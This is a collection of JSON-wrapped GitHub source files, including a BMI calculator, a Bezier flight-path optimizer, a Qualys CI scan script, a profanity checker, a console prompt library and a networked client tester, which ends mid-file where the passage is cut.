{"seq_id":"17898883853","text":"h = input(\"input your height(m): \")\nw = input(\"input your weight(kg): \")\nheight = float(h)\nweight = float(w)\nbmi = weight /(height*height)\nprint(bmi)\nif bmi <18.5:\n    print(\"too light\")\nelif bmi <25:\n    print(\"normal\")\nelif bmi <28:\n    print(\"too fat\")\nelif bmi <32:\n    print(\"tooooooo fat\")\nelse:\n    print(\"suprise!!!you are the fatest \")","repo_name":"yangxin9527/python","sub_path":"0522/BMI.py","file_name":"BMI.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12404521021","text":"import os\nfrom pytest_spark import spark_session\n\nfrom ssp.spark.streaming.common.twitter_streamer_base import TwitterStreamerBase\n\n\ndef _get_test_spark_stream(spark_session):\n    schema = TwitterStreamerBase._get_schema()\n    test_files_path = \"file:///\" + os.path.abspath(\"data/streams/tweets/\")\n    sdf = spark_session.readStream.format(\"json\").schema(schema).load(test_files_path)\n    return sdf\n\ndef test_spark_stream(spark_session):\n    sdf = _get_test_spark_stream(spark_session)\n    count_acc = spark_session.sparkContext.accumulator(0)\n\n    def foreach_batch_function(df, epoch_id, count_acc):\n        # Transform and write batchDF\n        count = df.count()\n\n        count_acc += count\n\n    sdf.writeStream.foreachBatch(lambda df, epoch_id :\n                                 foreach_batch_function(df=df, epoch_id=epoch_id, count_acc=count_acc)).start().processAllAvailable()\n    assert count_acc.value == 1000\n\n","repo_name":"gyan42/spark-streaming-playground","sub_path":"src/ssp/spark/streaming/test_spark_stream_producer.py","file_name":"test_spark_stream_producer.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"19"}
{"seq_id":"27776423968","text":"#!/usr/bin/env\n#-*- coding: utf-8 -*-\n\n\"\"\"\nAndrés Fernández Burón\n2023/10/04\n\nConsole game of 'Sink the fleet' with Python 3\n\n\nFile with Ship and Fleet classes for the game.\n\"\"\"\n\n# DEPENDENCIES\n\nimport numpy as np\n\n# SUBMODULES\nfrom .config import *\nfrom .consts import *\n\n\n############################################\n#### GAME FLEET ############################\n############################################\n\nclass Ship:\n    ''' Ship class definition '''\n\n    def __init__( self, large:int ):\n        ''' Ship class constructor '''\n        self.large = large\n\n        empty_data = [ tuple([0,0]) for i in range( large ) ]\n        self.location = np.array( empty_data ).astype( tuple )\n\n    # METHODS:\n\n    def ubicate( self, location ):\n        ''' Update ship location in the class variable '''\n        if type(location) == list:\n            self.location = np.array( location )\n        \n        elif type(location) == np.array:\n            self.location = location\n\nclass Fleet:\n    ''' Fleet class definition '''\n\n    def __init__( self ):\n        ''' Fleet class constructor '''\n        self.initialize()\n\n    # METHODS:\n\n    def initialize( self ):\n        ''' Initialize the ship array '''\n        ship_buffer = []\n        for i in range( SHIPS_SIZES_COUNT ):\n            large = SHIPS_SIZES_COUNT - i\n            ship_count = i + 1\n\n            for j in range( ship_count ):\n                ship = Ship(large)\n                ship_buffer.append( ship )\n\n        self.ship_list = np.asarray( ship_buffer )\n        self.count = len( self.ship_list )\n\n\n\n    def get_ship_location( self, coordinates:tuple ):\n        ''' Get a ship location of the fleet '''\n        for i in range( self.ship_list.size ):\n            for coord_arr in self.ship_list[i].location:\n\n                mask = ( coord_arr == coordinates )\n\n                if np.any( coord_arr[ mask ] ):\n                    return self.ship_list[i].location\n\n","repo_name":"AndresFernandezBuron/game_of_sink_the_fleet","sub_path":"game_of_sink_the_fleet/Fleet.py","file_name":"Fleet.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70657661803","text":"import pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\n\n# Load the training data\ndf = pd.read_csv('golf_ball_data.csv')\n\n# Split the data into features and labels\nX = df[['gender', 'handicap', 'driver_ball_speed', 'price_range']]\ny = df['recommended_ball']\n\n# Train a random forest classifier on the data\nmodel = RandomForestClassifier()\nmodel.fit(X, y)\n\n# Ask the user for their information\ngender = input('What is your gender (male/female)? ')\nhandicap = int(input('What is your golf handicap? '))\ndriver_ball_speed = int(input('What is your driver ball speed (in mph)? '))\nprice_range = int(input('What is your price range (1-5)? '))\ncurrent_ball = input('What golf ball do you currently use? ')\nlike_current_ball = input('Do you like your current golf ball (yes/no)? ')\n\n# If the user likes their current golf ball, add it to the training data\nif like_current_ball == 'yes':\n    new_data = {'gender': [gender], 'handicap': [handicap], 'driver_ball_speed': [driver_ball_speed], 'price_range': [price_range], 'recommended_ball': [current_ball]}\n    new_df = pd.DataFrame(data=new_data)\n    df = df.append(new_df, ignore_index=True)\n    X = df[['gender', 'handicap', 'driver_ball_speed', 'price_range']]\n    y = df['recommended_ball']\n    model.fit(X, y)\n\n# Make a prediction based on the user's information\nprediction = model.predict([[gender, handicap, driver_ball_speed, price_range]])\n\n# Recommend a golf ball to the user\nprint(f'We recommend using the {prediction[0]} golf ball.')\n","repo_name":"jmbujold/raspberrypi","sub_path":"golf_recommender.py","file_name":"golf_recommender.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"21969695652","text":"import argparse\nimport json\nimport re\n\nfrom app_config import config\nfrom qcs import qcsapi\n\nparser = argparse.ArgumentParser(description=\"Braspag qualys integration to evaluate images in CI pipeline\")\nparser.add_argument(\"--imageid\", nargs=\"+\", help=\"image Id to be evaluated\")\nparser.add_argument(\"--config\", nargs=1, help=\"JSON file to be processed\", type=argparse.FileType(\"r\"))\narguments = parser.parse_args()\n\n# Loading arguments\nimage_id = arguments.imageid[0]\nconfig_arg = json.load(arguments.config[0])\nqid_list = config_arg[\"qid\"]\nseverity_toblock = config_arg[\"severity\"]\nvulncount = config_arg[\"vulncount\"]\n\n# Check Image Pattern\nimagepattern = re.compile(r\"([0-9a-z]{12})\")\nif imagepattern.match(image_id):\n    pass\nelse:\n    raise Exception(\"Provide a valid Image ID\")\n\n# check CVE Pattern\ncve_list = []\ncvepattern = re.compile(r\"CVE-\\d{4}-\\d{4,7}\")\nfor each in config_arg[\"cves\"]:\n    if cvepattern.match(each):\n        cve_list.append(each)\n    else:\n        raise Exception(\"Invalid cve pattern\")\n\n# Creds for Api Access\ncreds = config.get_config()\n\n# get url to build\nurl_builder = qcsapi.UrlBuilder()\n\n# Api Call\ncon = qcsapi.QualysImages(creds, url_builder)\nresp = con.GetByImageId(image_id)\n\n# Valuation by severity\nvaluation = qcsapi.PolicyValuation.ValuationBySeverity(resp)\n\n# Remove Sensor\n# sensor_con = qcsapi.QualysSensor(creds, url_builder)\n# Remove Sensor with Type CI/CD\n# sensor_resp = sensor_con.RemoveSensorByType()\n\n\n# sensor_uuid = [\"fc9ff560-b3af-4f9d-8206-7cb5a6398a39\"]\n# sensor_resp = sensor_con.RemoveBySensoruuId(sensor_uuid)\n\n","repo_name":"viniciusvnr/automation","sub_path":"qualys/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"36750296081","text":"from flask import Flask, request, jsonify, Markup\nfrom pyslinger import pyslinger\nimport simplejson as json\nfrom markdown import markdown\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef load_item():\n    if request.method == 'GET':\n        # show usage docs\n        return Markup(markdown(open('README.md').read()))\n    if request.method == 'POST' and 'payload' in request.files:\n\n        # Update any pyslinger constants passed\n        # cq_server, username, password, static_root\n        for field in request.form:\n            setattr(pyslinger, field.upper(), request.form[field])\n\n        payload = json.load(request.files['payload'])\n        result = pyslinger.load_item(payload)\n        return jsonify(result)\n\nif __name__ == \"__main__\":\n    app.run()\n","repo_name":"sevennineteen/slingshot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"18116373044","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep  2 21:53:50 2020\r\n\r\n@author: admin\r\n\"\"\"\r\n\r\nimport csv\r\n#racial slur set to compare individual words with.\r\nracial_slur = {\"slur1\",\r\n               \"slur2\",\r\n               \"slur3\",\r\n               \"slur4\",\r\n               \"slur5\"}\r\n#temporarily store flagged words in a comment\r\nflagged_words = []\r\n\r\n\r\n#-----------HELPER FUNCTION---------------------------\r\ndef calculate_degree(comment_string):\r\n    #split the comment based on spaces\r\n    sentence = comment_string.split()\r\n    slur_count = 0\r\n    #for each word in the comment\r\n    for word in sentence:\r\n        #lowercase to check if it's a slur\r\n        word.lower()\r\n        #remove all non alphabets from word and compare it with slurs set\r\n        formatted_word = ''.join(filter(str.isalnum, word))\r\n        if formatted_word in racial_slur:\r\n            flagged_words.append(formatted_word)\r\n            #inc slur count if the word is a slur\r\n            slur_count = slur_count + 1\r\n    #return total number of slurs in a comment\r\n    if slur_count == 0: return 0\r\n    return round(slur_count/len(sentence)*100, 2)\r\n#----------END HELPER FUNCTION------------------------\r\n\r\n\r\n\r\n#------------DRIVER CODE------------------------------\r\n#create a file to store all profanity degrees\r\noutput_file = open(\"profanity_degree.txt\", \"w\")\r\noutput_file.write(\"index - instaID - profanity% - found words \\n\")\r\n#open comments file\r\nwith open('insta.csv','r') as comments_file:\r\n    index = 1\r\n    #get all the file rows and ignore commas in comments\r\n    comments = csv.reader(comments_file, skipinitialspace=True)\r\n    #for each row compare the comment to the racial slur set\r\n    for row in comments:\r\n        #get degree of slurs for each comment (3rd column)\r\n        degree = calculate_degree(row[2])\r\n        #if no slurs are present write 0% to output file\r\n        if degree == 0:\r\n            # format string to copy to output file\r\n            temp_line = \"\"+ str(index) + \" - \" + row[1] + \" - \" + str(degree) + \"%\" + \" - None \\n\"\r\n            output_file.write(temp_line)\r\n        #if more than 0 slurs is present write % to output file\r\n        else:\r\n            #string to store all the slurs present in the comment\r\n            word_list = \"\"\r\n            for slur in flagged_words:\r\n                word_list = word_list + slur + \", \"\r\n            #reset slur word list\r\n            flagged_words = []\r\n            #format string to copy to output file\r\n            temp_line = \"\"+ str(index) + \" - \" + row[1] + \" - \" + str(degree) + \"%\" + \" - \" + word_list[:-2] +\"\\n\"\r\n            output_file.write(temp_line)\r\n        #increment index for output file\r\n        index = index + 1\r\n\r\n\r\noutput_file.close()\r\n\r\n","repo_name":"Ramya629/insta-Profanity-Checker","sub_path":"code 1.py","file_name":"code 1.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"5609898520","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom .CurveBase import CurveBase\nimport abc\nimport pdb\nimport Curves.Bezier as Bezier\nfrom dataclasses import dataclass\nfrom typing import Callable\n\nimport minisam\n\n@dataclass\nclass FlightSpec:\n    vec2state: Callable = lambda x: x\n\nclass FlightOptParams:\n    def __init__(self, dt = 0.01, Wcurv = 0, Wlen=0, Wagree = 0, Wspdev = 1, Wkdev = 0, rho = 0.001, init = None, final = None):\n\n        self.dt = dt\n\n        self.Wcurv  = Wcurv\n        self.Wlen   = Wlen\n        self.Wagree = Wagree\n        self.Wspdev = Wspdev\n        self.Wkdev  = Wkdev\n        self.rho    = rho\n        self.init = init\n        self.final = final\n\nclass BezierCurveFactor(minisam.NumericalFactor):\n    def __init__(self, key, start, end, order, duration, loss=None, optParams=FlightOptParams()):\n        minisam.NumericalFactor.__init__(self, 1, [key], loss)\n        self._start = start\n        self._end = end\n        self._order = order\n        self.lossFunction = loss\n        self.optParams = optParams\n        self.dimension = len(self._start.getTranslation())\n        self.duration = duration\n\n    # make a deep copy\n    def copy(self):\n        return BezierCurveFactor(self.keys()[0], self._start, self._end, self._order, self.duration, self.lossFunction, self.optParams)\n\n    # error = Bezier cost function\n    def error(self, variables):\n        my_params = variables.at(self.keys()[0])\n        params = np.empty((self.dimension*(self._order-3) + 2, ))\n        if(self.optParams.init != None and self.optParams.final == None):\n            params[0] = self.duration*(self.optParams.init/self._order)\n            params[1:] = my_params\n        elif(self.optParams.init != None and self.optParams.final != None):\n            params[0] = self.duration*(self.optParams.init/self._order)\n            params[1] = self.duration*(self.optParams.final/self._order)\n            params[2:] = my_params\n        else:\n            params = my_params\n        b = Bezier.constructBezierPath(self._start, self._end, self._order, params)\n        return np.array([Flight.BezierCostFunction(b, self.optParams)])\n\nclass TimePolyFactor(minisam.NumericalFactor):\n    def __init__(self, key, curve, minSpd, maxSpd, maxGs, loss, ts, tf):\n        minisam.NumericalFactor.__init__(self, 1, [key], loss)\n        self._curve = curve\n        self._minSpd = minSpd\n        self._maxSpd = maxSpd\n        self._maxGs = maxGs\n        self._loss = loss\n        self._ts = ts\n        self._tf = tf\n\n    # make a deep copy\n    def copy(self):\n        return TimePolyFactor(self.keys()[0], self._curve, self._minSpd, self._maxSpd, self._maxGs, self._loss, ts=self._ts, tf=self._tf)\n\n    # error = Bezier cost function\n    def error(self, variables):\n        my_params = variables.at(self.keys()[0])\n        coeffs = Flight.gen5thTimePoly(my_params, self._tf - self._ts)\n        cost = Flight.TimeCostFunction(self._curve, coeffs, self._minSpd, self._maxSpd, self._maxGs, [self._ts, self._tf])\n        return np.array([cost])\n\nclass Flight(CurveBase):\n    def __init__(self, startPose, endPose, tspan = [0, 1], bezierOrder=3, optParams=FlightOptParams(), spec=FlightSpec()):\n        super().__init__(tspan)\n        self.startPose = startPose\n        self.endPose = endPose\n        self.bezier = Bezier(bezierOrder)\n        self.tspan = tspan\n        self.duration = tspan[1] - tspan[0]\n        self.optParams = optParams\n        self.timePolyCoeffs = np.array([0, 0, 0, 0, 1/(tspan[1]-tspan[0]), 0]) # By default, polynomial does not change s input\n        self.spec = spec\n            \n        #self.dimension = len(startPose.getTranslation())\n\n    def constructBezierPath(self, param):\n        # Changes based on dimension\n        #constructBezierPath uses parameterization to define bezier curve\n        pts = np.empty((self.dimension,self.bezier.order+1))\n        unit = np.zeros(self.dimension,)\n        unit[0] = 1\n\n        if(self.bezier.order == 3): # 3rd Order curve with 2 free points\n            pos2 = self.startPose * ( param[0] * unit)  \n            pos3 = self.endPose   * (-param[1] * unit)\n            pts = np.hstack((self.startPose.getTranslation(), pos2, pos3, self.endPose.getTranslation()))\n\n        elif(self.bezier.order > 3):\n            d1 = self.startPose * ( param[0] * unit)\n            posmid = np.reshape(param[2:], (self.dimension, self.bezier.order-3))\n            d2 = self.endPose   * (-param[1] * unit)\n            pts = np.hstack((self.startPose.getTranslation(), d1, posmid, d2, self.endPose.getTranslation()))\n\n        self.bezier.setControlPoints(pts)\n\n    def optimizeBezierPath(self):\n        if(self.bezier.order == 3 and self.optParams.init != None and self.optParams.final != None):\n            self.bezier = Bezier.constructBezierPath(self.startPose, self.endPose, \n                self.bezier.order, self.duration*np.array([self.optParams.init/self.bezier.order, self.optParams.final/self.bezier.order]))\n        else:\n            graph=minisam.FactorGraph() \n            #loss = minisam.CauchyLoss.Cauchy(0.) # TODO: Options Struct\n            loss= None\n            graph.add(BezierCurveFactor(minisam.key('p', 0), self.startPose, self.endPose, self.bezier.order, self.duration, loss, optParams=self.optParams))\n\n            init_values = minisam.Variables()\n\n            opt_param = minisam.LevenbergMarquardtOptimizerParams()\n            #opt_param.verbosity_level = minisam.NonlinearOptimizerVerbosityLevel.ITERATION\n            opt = minisam.LevenbergMarquardtOptimizer(opt_param)\n            values = minisam.Variables()\n\n            linePts = self.startPose.getTranslation() + \\\n                np.arange(0,1+1/(self.bezier.order),1/(self.bezier.order))*(self.endPose.getTranslation()- self.startPose.getTranslation())\n            #pdb.set_trace()\n\n            if(self.optParams.init != None and self.optParams.final == None):\n                # TODO: Initial Conditions\n                initialGuess = np.hstack((linePts[3:-2].reshape((1,-1)), 1))\n                #init_values.add(minisam.key('p', 0), np.ones((1+self.dimension*(self.bezier.order-3),)))\n                init_values.add(minisam.key('p', 0), initialGuess)\n\n                opt.optimize(graph, init_values, values)\n                d = np.array([self.optParams.init/ self.bezier.order])\n                self.bezier = Bezier.constructBezierPath(self.startPose, self.endPose,\n                    self.bezier.order, np.hstack((d, values.at(minisam.key('p', 0)))))\n\n            elif(self.optParams.init != None and self.optParams.final != None):\n                print(\"Both Constrained\")\n                initialGuess = linePts[:,2:-2].reshape((1,-1))\n                d =  self.duration*np.array([self.optParams.init/ self.bezier.order, self.optParams.final / self.bezier.order])\n                unit = np.zeros((self.dimension))\n                unit[0] = 1\n                pos2 = self.startPose * (d[0] * unit)\n                pos3 = self.endPose * (-d[1] * unit)\n                v = (pos3 - pos2) / (self.bezier.order - 2)\n                initialGuess = pos2 + np.multiply(np.arange(1,self.bezier.order-3+1), v)\n                initialGuess = initialGuess.reshape((1,-1))\n                init_values.add(minisam.key('p', 0), np.squeeze(initialGuess))\n                #init_values.add(minisam.key('p', 0), np.ones((self.dimension*(self.bezier.order-3),)))\n\n                opt.optimize(graph, init_values, values)\n                #pdb.set_trace()\n                self.bezier = Bezier.constructBezierPath(self.startPose, self.endPose,\n                    self.bezier.order, np.hstack((d,values.at(minisam.key('p', 0)))))\n            else:\n                initialGuess = np.hstack((linePts[3:-2].reshape((1,-1))))\n                #init_values.add(minisam.key('p', 0), np.ones((2+self.dimension*(self.bezier.order-3),)))\n                init_values.add(minisam.key('p', 0), initialGuess)\n\n                opt.optimize(graph, init_values, values)\n                self.bezier = Bezier.constructBezierPath(self.startPose, self.endPose,\n                    self.bezier.order, values.at(minisam.key('p', 0)))\n\n    @staticmethod\n    def gen5thTimePoly(cVec, td):\n        if(td != 0):\n            b = np.array([0, 1-cVec[0]*td**2 - cVec[1]*td**3, 1/td , 1/td -2*cVec[0]*td - 3*cVec[1]*td**2])\n            b = np.reshape(b, (4,1))\n            A = np.array([\n            [1, 0, 0, 0],\n            [1, td, td**4, td**5],\n            [0, 1, 0, 0],\n            [0, 1, 4*td**3, 5*td**4],\n            ])\n            beta = np.matmul(np.linalg.inv(A), b)\n            \n            beta = beta.T\n            beta = np.squeeze(beta)\n            coeffs = np.flip(np.hstack((beta[0:2], cVec, beta[2:4])))\n            return coeffs\n            #self.timePolyCoeffs = fliplr(obj.timePolyCoeffs);\n        else:\n            return np.zeros((6,))\n\n    def setDynConstraints(self, minSpd, maxSpd, maxGs):\n        self.minSpd = minSpd\n        self.maxSpd = maxSpd\n        self.maxGs = maxGs\n\n    def optimizeTimePoly(self):\n        graph=minisam.FactorGraph() \n        #loss = minisam.CauchyLoss.Cauchy(0.) # TODO: Options Struct\n        loss= None\n        graph.add(TimePolyFactor(minisam.key('p', 0), self.bezier, self.minSpd, self.maxSpd, self.maxGs, loss, ts=self.tspan[0], tf= self.tspan[1]))\n\n        init_values = minisam.Variables()\n\n        opt_param = minisam.LevenbergMarquardtOptimizerParams()\n        #opt_param.verbosity_level = minisam.NonlinearOptimizerVerbosityLevel.ITERATION\n        opt = minisam.LevenbergMarquardtOptimizer(opt_param)\n        values = minisam.Variables()\n        init_values.add(minisam.key('p', 0), np.ones((2,)))\n\n        opt.optimize(graph, init_values, values)\n        self.timePolyCoeffs = Flight.gen5thTimePoly(values.at(minisam.key('p', 0)), self.duration)\n\n    # In this function we use the time polynomial to \"Stretch\" s which is progress from 0-1\n    def evalTimePoly(self, t):\n        s = np.polyval(self.timePolyCoeffs, t)\n        #pdb.set_trace()\n        dsdt = np.polyval(np.polyder(self.timePolyCoeffs), t)\n        d2sdt2 = np.polyval(np.polyder(self.timePolyCoeffs, 2), t)\n        return s, dsdt, d2sdt2\n\n    # t is real time here. The time polynomial gives progress (s) to input into bezier eval\n    def evalPos(self, t):\n        (s, dsdt, _) = self.evalTimePoly(t-self.tspan[0])\n        return self.bezier.eval(s)\n\n    # same as evalPos but for velocity\n    def evalVel(self, t):\n        (s, dsdt, _) = self.evalTimePoly(t-self.tspan[0])\n        _, vs = self.bezier.evalJet(s)\n        v = vs * dsdt\n        return v\n\n    # same as evalPos but for velocity\n    def evalAcc(self, t):\n        (s, dsdt, d2sdt2) = self.evalTimePoly(t-self.tspan[0])\n        xs, vs, accs = self.bezier.evalJet2(s)\n        a = accs * (dsdt**2) + vs*d2sdt2\n        return a\n\n    def x(self, t):\n        return self.spec.vec2state(np.vstack((self.evalPos(t), self.evalVel(t), self.evalAcc(t))))\n\n    def plotControlPoints(self, axes=None):\n        self.bezier.plot(axes)\n\n    @abc.abstractmethod\n    def plotCurve(self, axes=None):\n        return\n    \n    @staticmethod\n    def BezierCostFunction(path:Bezier, optParams:FlightOptParams):\n        # Cost function of 4 terms: total curvature, curvature variance, length, and speed variance\n        t = np.arange(0, 1+optParams.dt, optParams.dt) # time step for evaulating cost\n        \n        cost = 0\n\n        _, v = path.evalJet(t)\n        speeds = np.linalg.norm(v, 2, 0)\n        k = path.evalCurv(t)\n\n        if(optParams.Wlen > 0):\n            pathLength = optParams.dt*np.nansum(speeds)\n            cost += optParams.Wlen * pathLength\n        \n        if(optParams.Wcurv > 0):\n            totalCurv = np.nansum(np.power(k,2))\n            cost += optParams.Wcurv * totalCurv\n        \n        if(optParams.Wkdev > 0):\n            curvDev = np.nanvar(k, ddof=1)\n            cost += optParams.Wkdev * curvDev\n        \n        if(optParams.Wspdev > 0):\n            spddev = np.nanvar(speeds, ddof=1)\n            cost += optParams.Wspdev * spddev\n\n        if(optParams.Wagree > 0):\n            startVec = path.Q[:,1] - path.Q[:,0]\n            endVec = path.Q[:,3] - path.Q[:,2]\n\n            startAngle = np.arctan2(startVec[1], startVec[0])\n            endAngle = np.arctan2(endVec[1], endVec[0])\n            angles = np.linspace(startAngle, endAngle, np.shape(t)[0])\n            vecs = np.vstack((np.cos(angles),np.sin(angles)))\n            ramp = np.linspace(1, 0, int(len(t)/10))\n            weight = np.concatenate((ramp, np.zeros((np.shape(t)[0] - 2*np.shape(ramp)[0])), np.flip(ramp)))\n\n            agree = np.sum(angles*weight*v/(speeds + optParams.rho))\n            cost += optParams.Wkdev * agree\n\n        #print(cost)\n        #pdb.set_trace()\n        return cost\n    \n    @staticmethod\n    def TimeCostFunction(path:Bezier, timePolyCoeffs, minSpd, maxSpd, maxGs, tspan):\n        # Cost function of 4 terms: total curvature, curvature variance, length, and speed variance\n        dt = 0.01\n        t = np.arange(0, tspan[1]-tspan[0], dt) # time step for evaulating cost\n        tau = np.polyval(timePolyCoeffs, t)\n        tauPrime = np.polyval(np.polyder(timePolyCoeffs), t)\n\n        _, v = path.evalJet(tau)\n        speeds = np.linalg.norm(v, 2, 0) * tauPrime # Speed in real units\n\n\n        cost = 0\n\n        k = path.evalCurv(tau) # Curvature\n        ac = np.power(speeds,2)*k # Centripetal Acceleration\n\n        Wvel = 100\n        Wk = 5\n\n\n        if(Wvel > 0):\n            cost += Wvel*np.sum(np.power(speeds - 0.5*(minSpd + maxSpd), 2))\n\n        if(Wk > 0):\n            cost += Wk * np.sum(np.power(ac, 2))\n\n        return cost","repo_name":"ivapylibs/curves","sub_path":"Curves/Flight.py","file_name":"Flight.py","file_ext":"py","file_size_in_byte":13609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13254418531","text":"__version__ = '0.0.8'\n\nimport sys\nfrom getpass import getpass\nimport re\n\n# Fix python 2.x\ntry:\n    input = raw_input\nexcept NameError:\n    pass\n\n\n# https://www.siafoo.net/snippet/88\n# or http://stackoverflow.com/questions/287871/print-in-terminal-with-colors-using-python\ndef highlight(string, status):\n    if sys.stdout.isatty():\n        mods = {\n            'yellow': '33',\n            'green': '32',\n            'red': '31',\n            'bold': '1',\n        }\n        attr = []\n        if status == 'error':\n            attr.append(mods['red'])\n            attr.append(mods['bold'])\n\n        elif status == 'msg':\n            attr.append(mods['green'])\n\n        elif status == 'notice':\n            attr.append(mods['yellow'])\n\n        return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n    else:\n        return string\n\n\ndef print_error():\n    error = 'Invalid input, please try again'\n    print(highlight(error, 'error'))\n\n\ndef buildText(question, possibilities, default):\n    text = \"\"\n    if question:\n        text += question + \" \"\n\n    if possibilities:\n        text += \"(\"\n        for p in possibilities:\n            text += str(p) + \"/\"\n        text = text[:-1]\n        text += \") \"\n\n    if default or default == '':\n        if default == '':\n            text += \"['']\"\n\n        else:\n            text += \"[\" + default + \"]\"\n\n    if text == \"\":\n        return text\n\n    else:\n        return text.rstrip(\" \") + \"\\n\"\n\n\ndef checkInt(i):\n    try:\n        int(i)\n    except ValueError:\n        return False\n\n    return True\n\n\ndef checkChar(ch):\n    if len(ch) == 1 and ch.lower() in 'abcdefghijklmnopqrstuvwxyz':\n        return True\n\n\ndef checkString(string):\n    for c in string:\n        if c.lower() not in 'abcdefghijklmnopqrstuvwxyz':\n            return False\n\n    return True\n\n\ndef checkEmail(email):\n    if re.match(r\".+\\@.+\\..+\", email):\n        return True\n\n\ndef checkNone(i):\n    return True\n\n\ndef _ask(text, possibilities, default, check_method, masked=False):\n    while True:\n        if masked:\n            i = getpass(buildText(text, possibilities, default))\n        else:\n            i = input(buildText(text, possibilities, default))\n\n        if i == '':\n            if default or default == '':\n                return default\n            else:\n                print_error()\n                continue\n\n        elif possibilities:\n            if i in possibilities:\n                return i\n            else:\n                print_error()\n                continue\n\n        else:\n            if check_method(i):\n                return i\n            else:\n                print_error()\n                continue\n\n\ndef askInt(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkInt)\n\n\ndef askChar(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkChar)\n\n\ndef askBool(text=None, possibilities=None, default=None):\n    if not possibilities:\n        possibilities = ['y', 'n']\n    answers = {\n        'True': ['y', 'yes', 'j', 'ja'],\n        'False': ['n', 'no', 'nein']\n    }\n\n    a = _ask(text, possibilities, default, checkChar)\n    if a in answers['True']:\n        return True\n    elif a in answers['False']:\n        return False\n    else:\n        return a\n\n\ndef askString(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkString)\n\n\ndef askEmail(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkEmail)\n\n\ndef askPassword(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkNone, masked=True)\n\n\ndef ask(text=None, possibilities=None, default=None):\n    return _ask(text, possibilities, default, checkNone)\n\n\ndef explain(credit=False):\n    instructions = \"Attention: Input prompts follow this template:\\n\" \\\n                   \"\\\"Question (answer1, answer2, answer3) [default_answer]\\\"\\n\" \\\n                   \"(You can just hit enter to chose the default answer)\"\n    credits = \"[Powered by ask (www.github.com/Chive/ask)]\"\n\n    print(highlight(instructions, 'msg'))\n    if credit:\n        print(highlight(credits, 'notice'))\n","repo_name":"Chive/ask","sub_path":"ask/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"}
{"seq_id":"25097052162","text":"import pickle\r\nimport socket\r\nfrom server.server import Server\r\nfrom logger.logger import Logger\r\nfrom threading import Thread\r\n\r\nfrom communicators.client_server_communicator import ClientServerCommunicator\r\nfrom communicators.infectivity_tester_communicator import InfectivityTesterCommunicator\r\nfrom packages.client_package import Package as ClientPackage\r\nfrom packages.client_package import PackageType as ClientPackageType\r\nfrom packages.infectivity_request import *\r\nfrom packages.infectivity_response import *\r\nfrom network.client import Client\r\n\r\n\r\nclass ClientTester(Server):\r\n    __DEFAULT_PORT_CLIENTS = 5004\r\n\r\n    def __init__(self,host:str,port:int,logger:Logger):\r\n        super().__init__(host,port,logger)\r\n        self.__workers = set()\r\n\r\n    def __send_infectivity_response(self,response:InfectivityResponse):\r\n        manager = InfectivityTesterCommunicator(\"127.0.0.1\",5004,self._logger)\r\n        manager.connect()\r\n        manager.send_response(response)\r\n        manager.close_connection()\r\n\r\n\r\n    def __process_request(self,client_socket:socket):\r\n        if client_socket is None:\r\n            return\r\n        host, _ = client_socket.getpeername()\r\n        if host == \"127.0.0.1\" or host == \"192.168.1.2\":\r\n            request = InfectivityTesterCommunicator.read_data(client_socket)\r\n            self._logger.info(\"Request received\")\r\n            response = None\r\n            if request.type == InfectivityRequestType.CHECK_CLIENT:\r\n                host = request.payload[0]\r\n                self._logger.info(\"Request of type CHECK_CLIENT for %s\"%(host))\r\n                client = Client(host, ClientTester.__DEFAULT_PORT_CLIENTS, self._logger)\r\n                res = client.connect()\r\n                if res == 0:\r\n                    self._logger.info(\"Connection to %s established\" %(host))\r\n                    resp = client.send_test_package()\r\n                    if resp is not None and client.check_for_valid_test_package(resp):\r\n                        response = InfectivityResponse(InfectivityResponseType.STATUS_AVAILABLE,[host])\r\n                        self._logger.info(\"Host %s check status valid\" % (host))\r\n                    else:\r\n                        response = InfectivityResponse(InfectivityResponseType.STATUS_UNAVAILABLE, [host])\r\n                        self._logger.info(\"Host %s check status invalid\" % (host))\r\n                else:\r\n                    response = InfectivityResponse(InfectivityResponseType.STATUS_UNAVAILABLE, [host])\r\n                    self._logger.info(\"Host %s is unreachable\" % (host))\r\n                InfectivityTesterCommunicator.send_data(client_socket,response)\r\n                client.close_connection()\r\n\r\n            if request.type == InfectivityRequestType.SCAN_CLIENT:\r\n                host = request.payload[0]\r\n                self._logger.info(\"Request of type SCAN_CLIENT for %s\" % (host))\r\n                client = Client(host, ClientTester.__DEFAULT_PORT_CLIENTS, self._logger)\r\n                res = client.connect()\r\n                if res == 0:\r\n                    self._logger.info(\"Connection to %s established\" % (host))\r\n                    resp = client.send_scan_package()\r\n                client.close_connection()\r\n            if request.type == InfectivityRequestType.ARE_YOU_AWAKE:\r\n                pack = InfectivityResponse(InfectivityResponseType.I_AM_AWAKE, 